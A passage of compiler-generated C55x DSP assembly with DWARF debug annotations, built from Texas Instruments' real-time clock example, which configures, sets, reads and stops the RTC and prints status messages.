$C$DW$76 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$76, DW_AT_low_pc(0x00)
.dwattr $C$DW$76, DW_AT_name("_RTC_config")
.dwattr $C$DW$76, DW_AT_TI_call
CALL #_RTC_config ; |200|
; call occurs [#_RTC_config] ; |200|
MOV T0, *SP(#9) ; |200|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 201,column 2,is_stmt
MOV T0, AR1
BCC $C$L2,AR1 == #0 ; |201|
; branchcc occurs ; |201|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 203,column 3,is_stmt
AMOV #$C$FSL8, XAR3 ; |203|
MOV XAR3, dbl(*SP(#0))
$C$DW$77 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$77, DW_AT_low_pc(0x00)
.dwattr $C$DW$77, DW_AT_name("_printf")
.dwattr $C$DW$77, DW_AT_TI_call
CALL #_printf ; |203|
; call occurs [#_printf] ; |203|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 204,column 3,is_stmt
B $C$L14 ; |204|
; branch occurs ; |204|
$C$L2:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 208,column 3,is_stmt
AMOV #$C$FSL9, XAR3 ; |208|
MOV XAR3, dbl(*SP(#0))
$C$DW$78 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$78, DW_AT_low_pc(0x00)
.dwattr $C$DW$78, DW_AT_name("_printf")
.dwattr $C$DW$78, DW_AT_TI_call
CALL #_printf ; |208|
; call occurs [#_printf] ; |208|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 212,column 2,is_stmt
AMOV #_rtcGetConfig, XAR0 ; |212|
$C$DW$79 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$79, DW_AT_low_pc(0x00)
.dwattr $C$DW$79, DW_AT_name("_RTC_getConfig")
.dwattr $C$DW$79, DW_AT_TI_call
CALL #_RTC_getConfig ; |212|
; call occurs [#_RTC_getConfig] ; |212|
MOV T0, *SP(#9) ; |212|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 213,column 2,is_stmt
MOV T0, AR1
BCC $C$L3,AR1 == #0 ; |213|
; branchcc occurs ; |213|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 215,column 3,is_stmt
AMOV #$C$FSL10, XAR3 ; |215|
MOV XAR3, dbl(*SP(#0))
$C$DW$80 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$80, DW_AT_low_pc(0x00)
.dwattr $C$DW$80, DW_AT_name("_printf")
.dwattr $C$DW$80, DW_AT_TI_call
CALL #_printf ; |215|
; call occurs [#_printf] ; |215|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 216,column 3,is_stmt
B $C$L14 ; |216|
; branch occurs ; |216|
$C$L3:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 220,column 3,is_stmt
AMOV #$C$FSL11, XAR3 ; |220|
MOV XAR3, dbl(*SP(#0))
$C$DW$81 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$81, DW_AT_low_pc(0x00)
.dwattr $C$DW$81, DW_AT_name("_printf")
.dwattr $C$DW$81, DW_AT_TI_call
CALL #_printf ; |220|
; call occurs [#_printf] ; |220|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 224,column 2,is_stmt
AMOV #_InitTime, XAR0 ; |224|
$C$DW$82 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$82, DW_AT_low_pc(0x00)
.dwattr $C$DW$82, DW_AT_name("_RTC_setTime")
.dwattr $C$DW$82, DW_AT_TI_call
CALL #_RTC_setTime ; |224|
; call occurs [#_RTC_setTime] ; |224|
MOV T0, *SP(#9) ; |224|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 225,column 2,is_stmt
MOV T0, AR1
BCC $C$L4,AR1 == #0 ; |225|
; branchcc occurs ; |225|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 227,column 3,is_stmt
AMOV #$C$FSL12, XAR3 ; |227|
MOV XAR3, dbl(*SP(#0))
$C$DW$83 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$83, DW_AT_low_pc(0x00)
.dwattr $C$DW$83, DW_AT_name("_printf")
.dwattr $C$DW$83, DW_AT_TI_call
CALL #_printf ; |227|
; call occurs [#_printf] ; |227|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 228,column 3,is_stmt
B $C$L14 ; |228|
; branch occurs ; |228|
$C$L4:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 232,column 3,is_stmt
AMOV #$C$FSL13, XAR3 ; |232|
MOV XAR3, dbl(*SP(#0))
$C$DW$84 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$84, DW_AT_low_pc(0x00)
.dwattr $C$DW$84, DW_AT_name("_printf")
.dwattr $C$DW$84, DW_AT_TI_call
CALL #_printf ; |232|
; call occurs [#_printf] ; |232|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 236,column 2,is_stmt
AMOV #_InitDate, XAR0 ; |236|
$C$DW$85 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$85, DW_AT_low_pc(0x00)
.dwattr $C$DW$85, DW_AT_name("_RTC_setDate")
.dwattr $C$DW$85, DW_AT_TI_call
CALL #_RTC_setDate ; |236|
; call occurs [#_RTC_setDate] ; |236|
MOV T0, *SP(#9) ; |236|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 237,column 2,is_stmt
MOV T0, AR1
BCC $C$L5,AR1 == #0 ; |237|
; branchcc occurs ; |237|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 239,column 3,is_stmt
AMOV #$C$FSL14, XAR3 ; |239|
MOV XAR3, dbl(*SP(#0))
$C$DW$86 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$86, DW_AT_low_pc(0x00)
.dwattr $C$DW$86, DW_AT_name("_printf")
.dwattr $C$DW$86, DW_AT_TI_call
CALL #_printf ; |239|
; call occurs [#_printf] ; |239|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 240,column 3,is_stmt
B $C$L14 ; |240|
; branch occurs ; |240|
$C$L5:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 244,column 3,is_stmt
AMOV #$C$FSL15, XAR3 ; |244|
MOV XAR3, dbl(*SP(#0))
$C$DW$87 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$87, DW_AT_low_pc(0x00)
.dwattr $C$DW$87, DW_AT_name("_printf")
.dwattr $C$DW$87, DW_AT_TI_call
CALL #_printf ; |244|
; call occurs [#_printf] ; |244|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 248,column 2,is_stmt
AMOV #_AlarmTime, XAR0 ; |248|
$C$DW$88 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$88, DW_AT_low_pc(0x00)
.dwattr $C$DW$88, DW_AT_name("_RTC_setAlarm")
.dwattr $C$DW$88, DW_AT_TI_call
CALL #_RTC_setAlarm ; |248|
; call occurs [#_RTC_setAlarm] ; |248|
MOV T0, *SP(#9) ; |248|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 249,column 2,is_stmt
MOV T0, AR1
BCC $C$L6,AR1 == #0 ; |249|
; branchcc occurs ; |249|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 251,column 3,is_stmt
AMOV #$C$FSL16, XAR3 ; |251|
MOV XAR3, dbl(*SP(#0))
$C$DW$89 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$89, DW_AT_low_pc(0x00)
.dwattr $C$DW$89, DW_AT_name("_printf")
.dwattr $C$DW$89, DW_AT_TI_call
CALL #_printf ; |251|
; call occurs [#_printf] ; |251|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 252,column 3,is_stmt
B $C$L14 ; |252|
; branch occurs ; |252|
$C$L6:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 256,column 3,is_stmt
AMOV #$C$FSL17, XAR3 ; |256|
MOV XAR3, dbl(*SP(#0))
$C$DW$90 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$90, DW_AT_low_pc(0x00)
.dwattr $C$DW$90, DW_AT_name("_printf")
.dwattr $C$DW$90, DW_AT_TI_call
CALL #_printf ; |256|
; call occurs [#_printf] ; |256|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 260,column 2,is_stmt
$C$DW$91 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$91, DW_AT_low_pc(0x00)
.dwattr $C$DW$91, DW_AT_name("_RTC_setPeriodicInterval")
.dwattr $C$DW$91, DW_AT_TI_call
CALL #_RTC_setPeriodicInterval ; |260|
|| MOV #2, T0
; call occurs [#_RTC_setPeriodicInterval] ; |260|
MOV T0, *SP(#9) ; |260|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 261,column 2,is_stmt
MOV T0, AR1
BCC $C$L7,AR1 == #0 ; |261|
; branchcc occurs ; |261|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 263,column 3,is_stmt
AMOV #$C$FSL18, XAR3 ; |263|
MOV XAR3, dbl(*SP(#0))
$C$DW$92 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$92, DW_AT_low_pc(0x00)
.dwattr $C$DW$92, DW_AT_name("_printf")
.dwattr $C$DW$92, DW_AT_TI_call
CALL #_printf ; |263|
; call occurs [#_printf] ; |263|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 264,column 3,is_stmt
B $C$L14 ; |264|
; branch occurs ; |264|
$C$L7:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 268,column 3,is_stmt
AMOV #$C$FSL19, XAR3 ; |268|
MOV XAR3, dbl(*SP(#0))
$C$DW$93 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$93, DW_AT_low_pc(0x00)
.dwattr $C$DW$93, DW_AT_name("_printf")
.dwattr $C$DW$93, DW_AT_TI_call
CALL #_printf ; |268|
; call occurs [#_printf] ; |268|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 272,column 2,is_stmt
$C$DW$94 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$94, DW_AT_low_pc(0x00)
.dwattr $C$DW$94, DW_AT_name("_RTC_eventEnable")
.dwattr $C$DW$94, DW_AT_TI_call
CALL #_RTC_eventEnable ; |272|
|| MOV #1, T0
; call occurs [#_RTC_eventEnable] ; |272|
MOV T0, *SP(#9) ; |272|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 273,column 2,is_stmt
MOV T0, AR1
BCC $C$L8,AR1 == #0 ; |273|
; branchcc occurs ; |273|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 275,column 3,is_stmt
AMOV #$C$FSL20, XAR3 ; |275|
MOV XAR3, dbl(*SP(#0))
$C$DW$95 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$95, DW_AT_low_pc(0x00)
.dwattr $C$DW$95, DW_AT_name("_printf")
.dwattr $C$DW$95, DW_AT_TI_call
CALL #_printf ; |275|
; call occurs [#_printf] ; |275|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 276,column 3,is_stmt
B $C$L14 ; |276|
; branch occurs ; |276|
$C$L8:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 280,column 3,is_stmt
AMOV #$C$FSL21, XAR3 ; |280|
MOV XAR3, dbl(*SP(#0))
$C$DW$96 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$96, DW_AT_low_pc(0x00)
.dwattr $C$DW$96, DW_AT_name("_printf")
.dwattr $C$DW$96, DW_AT_TI_call
CALL #_printf ; |280|
; call occurs [#_printf] ; |280|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 284,column 2,is_stmt
$C$DW$97 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$97, DW_AT_low_pc(0x00)
.dwattr $C$DW$97, DW_AT_name("_RTC_eventEnable")
.dwattr $C$DW$97, DW_AT_TI_call
CALL #_RTC_eventEnable ; |284|
|| MOV #6, T0
; call occurs [#_RTC_eventEnable] ; |284|
MOV T0, *SP(#9) ; |284|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 285,column 2,is_stmt
MOV T0, AR1
BCC $C$L9,AR1 == #0 ; |285|
; branchcc occurs ; |285|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 287,column 3,is_stmt
AMOV #$C$FSL22, XAR3 ; |287|
MOV XAR3, dbl(*SP(#0))
$C$DW$98 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$98, DW_AT_low_pc(0x00)
.dwattr $C$DW$98, DW_AT_name("_printf")
.dwattr $C$DW$98, DW_AT_TI_call
CALL #_printf ; |287|
; call occurs [#_printf] ; |287|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 288,column 3,is_stmt
B $C$L14 ; |288|
; branch occurs ; |288|
$C$L9:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 292,column 3,is_stmt
AMOV #$C$FSL23, XAR3 ; |292|
MOV XAR3, dbl(*SP(#0))
$C$DW$99 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$99, DW_AT_low_pc(0x00)
.dwattr $C$DW$99, DW_AT_name("_printf")
.dwattr $C$DW$99, DW_AT_TI_call
CALL #_printf ; |292|
; call occurs [#_printf] ; |292|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 295,column 2,is_stmt
AMOV #$C$FSL24, XAR3 ; |295|
MOV XAR3, dbl(*SP(#0))
$C$DW$100 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$100, DW_AT_low_pc(0x00)
.dwattr $C$DW$100, DW_AT_name("_printf")
.dwattr $C$DW$100, DW_AT_TI_call
CALL #_printf ; |295|
; call occurs [#_printf] ; |295|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 297,column 2,is_stmt
$C$DW$101 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$101, DW_AT_low_pc(0x00)
.dwattr $C$DW$101, DW_AT_name("_RTC_start")
.dwattr $C$DW$101, DW_AT_TI_call
CALL #_RTC_start ; |297|
; call occurs [#_RTC_start] ; |297|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 300,column 2,is_stmt
MOV dbl(*(#_rtcTimeCount)), AC0 ; |300|
SUB #1, AC0, AC1 ; |300|
MOV AC1, dbl(*(#_rtcTimeCount)) ; |300|
BCC $C$L13,AC0 == #0 ; |300|
; branchcc occurs ; |300|
$C$L10:
$C$DW$L$_main$30$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 302,column 4,is_stmt
AMOV #_GetTime, XAR0 ; |302|
$C$DW$102 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$102, DW_AT_low_pc(0x00)
.dwattr $C$DW$102, DW_AT_name("_RTC_getTime")
.dwattr $C$DW$102, DW_AT_TI_call
CALL #_RTC_getTime ; |302|
; call occurs [#_RTC_getTime] ; |302|
MOV T0, *SP(#9) ; |302|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 303,column 3,is_stmt
MOV T0, AR1
BCC $C$L11,AR1 == #0 ; |303|
; branchcc occurs ; |303|
$C$DW$L$_main$30$E:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 305,column 4,is_stmt
AMOV #$C$FSL25, XAR3 ; |305|
MOV XAR3, dbl(*SP(#0))
$C$DW$103 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$103, DW_AT_low_pc(0x00)
.dwattr $C$DW$103, DW_AT_name("_printf")
.dwattr $C$DW$103, DW_AT_TI_call
CALL #_printf ; |305|
; call occurs [#_printf] ; |305|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 306,column 4,is_stmt
B $C$L14 ; |306|
; branch occurs ; |306|
$C$L11:
$C$DW$L$_main$32$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 309,column 4,is_stmt
AMOV #_GetDate, XAR0 ; |309|
$C$DW$104 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$104, DW_AT_low_pc(0x00)
.dwattr $C$DW$104, DW_AT_name("_RTC_getDate")
.dwattr $C$DW$104, DW_AT_TI_call
CALL #_RTC_getDate ; |309|
; call occurs [#_RTC_getDate] ; |309|
MOV T0, *SP(#9) ; |309|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 310,column 3,is_stmt
MOV T0, AR1
BCC $C$L12,AR1 == #0 ; |310|
; branchcc occurs ; |310|
$C$DW$L$_main$32$E:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 312,column 4,is_stmt
AMOV #$C$FSL26, XAR3 ; |312|
MOV XAR3, dbl(*SP(#0))
$C$DW$105 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$105, DW_AT_low_pc(0x00)
.dwattr $C$DW$105, DW_AT_name("_printf")
.dwattr $C$DW$105, DW_AT_TI_call
CALL #_printf ; |312|
; call occurs [#_printf] ; |312|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 313,column 4,is_stmt
B $C$L14 ; |313|
; branch occurs ; |313|
$C$L12:
$C$DW$L$_main$34$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 316,column 3,is_stmt
AMOV #$C$FSL27, XAR3 ; |316|
MOV XAR3, dbl(*SP(#0))
MOV *SP(#10), AR1 ; |316|
ADD #1, AR1, AR2 ; |316|
MOV AR2, *SP(#10) ; |316|
MOV AR1, *SP(#2) ; |316|
$C$DW$106 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$106, DW_AT_low_pc(0x00)
.dwattr $C$DW$106, DW_AT_name("_printf")
.dwattr $C$DW$106, DW_AT_TI_call
CALL #_printf ; |316|
; call occurs [#_printf] ; |316|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 318,column 6,is_stmt
MOV *(#_GetTime), AR1 ; |318|
AMOV #$C$FSL28, XAR3 ; |318|
MOV XAR3, dbl(*SP(#0))
MOV AR1, *SP(#2) ; |318|
MOV *(#(_GetTime+1)), AR1 ; |318|
MOV AR1, *SP(#3) ; |318|
MOV *(#(_GetTime+2)), AR1 ; |318|
MOV AR1, *SP(#4) ; |318|
MOV *(#(_GetTime+3)), AR1 ; |318|
MOV AR1, *SP(#5) ; |318|
MOV *(#(_GetDate+2)), AR1 ; |318|
MOV AR1, *SP(#6) ; |318|
MOV *(#(_GetDate+1)), AR1 ; |318|
MOV AR1, *SP(#7) ; |318|
MOV *(#_GetDate), AR1 ; |318|
MOV AR1, *SP(#8) ; |318|
$C$DW$107 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$107, DW_AT_low_pc(0x00)
.dwattr $C$DW$107, DW_AT_name("_printf")
.dwattr $C$DW$107, DW_AT_TI_call
CALL #_printf ; |318|
; call occurs [#_printf] ; |318|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 320,column 2,is_stmt
MOV dbl(*(#_rtcTimeCount)), AC0 ; |320|
SUB #1, AC0, AC1 ; |320|
MOV AC1, dbl(*(#_rtcTimeCount)) ; |320|
BCC $C$L10,AC0 != #0 ; |320|
; branchcc occurs ; |320|
$C$DW$L$_main$34$E:
$C$L13:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 322,column 5,is_stmt
$C$DW$108 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$108, DW_AT_low_pc(0x00)
.dwattr $C$DW$108, DW_AT_name("_IRQ_globalDisable")
.dwattr $C$DW$108, DW_AT_TI_call
CALL #_IRQ_globalDisable ; |322|
; call occurs [#_IRQ_globalDisable] ; |322|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 325,column 2,is_stmt
$C$DW$109 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$109, DW_AT_low_pc(0x00)
.dwattr $C$DW$109, DW_AT_name("_IRQ_clearAll")
.dwattr $C$DW$109, DW_AT_TI_call
CALL #_IRQ_clearAll ; |325|
; call occurs [#_IRQ_clearAll] ; |325|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 328,column 2,is_stmt
$C$DW$110 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$110, DW_AT_low_pc(0x00)
.dwattr $C$DW$110, DW_AT_name("_IRQ_disableAll")
.dwattr $C$DW$110, DW_AT_TI_call
CALL #_IRQ_disableAll ; |328|
; call occurs [#_IRQ_disableAll] ; |328|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 331,column 2,is_stmt
$C$DW$111 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$111, DW_AT_low_pc(0x00)
.dwattr $C$DW$111, DW_AT_name("_RTC_stop")
.dwattr $C$DW$111, DW_AT_TI_call
CALL #_RTC_stop ; |331|
; call occurs [#_RTC_stop] ; |331|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 333,column 2,is_stmt
AMOV #$C$FSL29, XAR3 ; |333|
MOV XAR3, dbl(*SP(#0))
$C$DW$112 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$112, DW_AT_low_pc(0x00)
.dwattr $C$DW$112, DW_AT_name("_printf")
.dwattr $C$DW$112, DW_AT_TI_call
CALL #_printf ; |333|
; call occurs [#_printf] ; |333|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 336,column 9,is_stmt
MOV *(#_PaSs_StAtE), AR1 ; |336|
MOV AR1, *(#_PaSs) ; |336|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 341,column 1,is_stmt
$C$L14:
AADD #11, SP
.dwcfi cfa_offset, 1
$C$DW$113 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$113, DW_AT_low_pc(0x00)
.dwattr $C$DW$113, DW_AT_TI_return
RET
; return occurs
$C$DW$114 .dwtag DW_TAG_TI_loop
.dwattr $C$DW$114, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_rtc_example.asm:$C$L10:1:1538287728")
.dwattr $C$DW$114, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$114, DW_AT_TI_begin_line(0x12c)
.dwattr $C$DW$114, DW_AT_TI_end_line(0x140)
$C$DW$115 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$115, DW_AT_low_pc($C$DW$L$_main$30$B)
.dwattr $C$DW$115, DW_AT_high_pc($C$DW$L$_main$30$E)
$C$DW$116 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$116, DW_AT_low_pc($C$DW$L$_main$32$B)
.dwattr $C$DW$116, DW_AT_high_pc($C$DW$L$_main$32$E)
$C$DW$117 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$117, DW_AT_low_pc($C$DW$L$_main$34$B)
.dwattr $C$DW$117, DW_AT_high_pc($C$DW$L$_main$34$E)
.dwendtag $C$DW$114
.dwattr $C$DW$56, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$56, DW_AT_TI_end_line(0x155)
.dwattr $C$DW$56, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$56
.sect ".text:retain"
.align 4
.global _rtc_isr
$C$DW$118 .dwtag DW_TAG_subprogram, DW_AT_name("rtc_isr")
.dwattr $C$DW$118, DW_AT_low_pc(_rtc_isr)
.dwattr $C$DW$118, DW_AT_high_pc(0x00)
.dwattr $C$DW$118, DW_AT_TI_symbol_name("_rtc_isr")
.dwattr $C$DW$118, DW_AT_external
.dwattr $C$DW$118, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$118, DW_AT_TI_begin_line(0x157)
.dwattr $C$DW$118, DW_AT_TI_begin_column(0x10)
.dwattr $C$DW$118, DW_AT_TI_interrupt
.dwattr $C$DW$118, DW_AT_TI_max_frame_size(0x2f)
